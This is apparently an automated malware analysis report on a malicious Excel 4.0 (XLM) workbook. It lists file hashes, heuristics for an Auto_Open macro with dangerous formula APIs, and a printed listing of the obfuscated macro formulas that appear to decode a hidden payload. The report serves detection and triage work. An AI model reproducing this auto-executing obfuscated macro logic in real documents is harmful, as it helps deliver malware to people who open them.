Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5d811bb0c8f0ba9a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:09 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: bcbbf0bfc650c4e622676fd28320457a SHA-1: a46f794c5691fb7daf61382a266af5bd2b97cc37 SHA-256: 5d811bb0c8f0ba9a5f26ef64d2914eb4822d8ab434d89a849744564dadd95981
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6758 bytes
SHA-256: 274d1583e3008054c8714d18d5a068853a963c06715d691ee232fa1ef5595963
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Piewnrf
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H146 
' 0018     24 LABEL : Cell Value, String Constant - bifNzOTRZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - fQmuYshVUWk len=0 
' 0018     21 LABEL : Cell Value, String Constant - FYFiZd len=0 
' 0018     21 LABEL : Cell Value, String Constant - GeJwQK len=0 
' 0018     22 LABEL : Cell Value, String Constant - HgTleqA len=0 
' 0018     25 LABEL : Cell Value, String Constant - hpXgLLBjan len=0 
' 0018     23 LABEL : Cell Value, String Constant - htMlcjMx len=0 
' 0018     23 LABEL : Cell Value, String Constant - hyOyUZdz len=0 
' 0018     24 LABEL : Cell Value, String Constant - IBXOxrdhS len=0 
' 0018     22 LABEL : Cell Value, String Constant - JadhxrY len=0 
' 0018     20 LABEL : Cell Value, String Constant - OfFSq len=0 
' 0018     24 LABEL : Cell Value, String Constant - OnCLMKrnM len=0 
' 0018     20 LABEL : Cell Value, String Constant - PEKqE len=0 
' 0018     23 LABEL : Cell Value, String Constant - QHTigQHd len=0 
' 0018     27 LABEL : Cell Value, String Constant - qxQDNBudiegy len=0 
' 0018     27 LABEL : Cell Value, String Constant - RyFdyXrByuHX len=0 
' 0018     21 LABEL : Cell Value, String Constant - tlAQmQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - VfUUYJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - VXkYMNdNml len=0 
' 0018     27 LABEL : Cell Value, String Constant - xFvRFDUAmwui len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Piewnrf,H59,"SET.NAME("fQmuYshVUWk",0+VALUE("0"))",""
'  Piewnrf,H62,"SET.NAME("IBXOxrdhS",fQmuYshVUWk)",""
'  Piewnrf,H65,"SET.NAME("xFvRFDUAmwui",fQmuYshVUWk)",""
'  Piewnrf,H68,"SET.NAME("OfFSq",COUNTA(QHTigQHd))",""
'  Piewnrf,H72,"SET.NAME("OnCLMKrnM",COUNTA(hyOyUZdz))",""
'  Piewnrf,H76,[],""
'  Piewnrf,H79,"SET.NAME("HgTleqA","")",""
'  Piewnrf,H81,"IBXOxrdhS",""
'  Piewnrf,H83,"SET.NAME("FYFiZd",HLOOKUP("*",QHTigQHd,IBXOxrdhS,FALSE))",""
'  Piewnrf,R83,"",858.00000000000000000000
'  Piewnrf,R84,"",-59.00000000000000000000
'  Piewnrf,R85,"",115.00000000000000000000
'  Piewnrf,H86,"hpXgLLBjan",""
'  Piewnrf,R86,"",350.00000000000000000000
'  Piewnrf,R87,"",-457.00000000000000000000
'  Piewnrf,R88,"",942.00000000000000000000
'  Piewnrf,H90,"SET.NAME("GeJwQK",fQmuYshVUWk)",""
'  Piewnrf,H95,[],""
'  Piewnrf,H99,"GeJwQK",""
'  Piewnrf,H104,"qxQDNBudiegy",""
'  Piewnrf,H109,"bifNzOTRZ",""
'  Piewnrf,H111,"VfUUYJ",""
'  Piewnrf,H113,"SET.NAME("tlAQmQ",VALUE(HLOOKUP("*",hyOyUZdz,VfUUYJ,FALSE)))",""
'  Piewnrf,H116,"htMlcjMx",""
'  Piewnrf,H119,"HgTleqA",""
'  Piewnrf,H121,"xFvRFDUAmwui",""
'  Piewnrf,H125,NEXT(),""
'  Piewnrf,H129,"JadhxrY",""
'  Piewnrf,H133,[],""
'  Piewnrf,H138,"RyFdyXrByuHX",""
'  Piewnrf,H141,NEXT(),""
'  Piewnrf,H144,RETURN(),""
'  Piewnrf,H165,"SET.NAME("PEKqE",H59)",""
'  Piewnrf,H170,"QHTigQHd",""
'  Piewnrf,H174,"SET.NAME("hyOyUZdz",R71C13)",""
'  Piewnrf,H176,"SET.NAME("RyFdyXrByuHX",187)",""
'  Piewnrf,H181,"SET.NAME("VXkYMNdNml",8)",""
'  Piewnrf,H186,PEKqE(),""
'  Piewnrf,H187,HALT(),""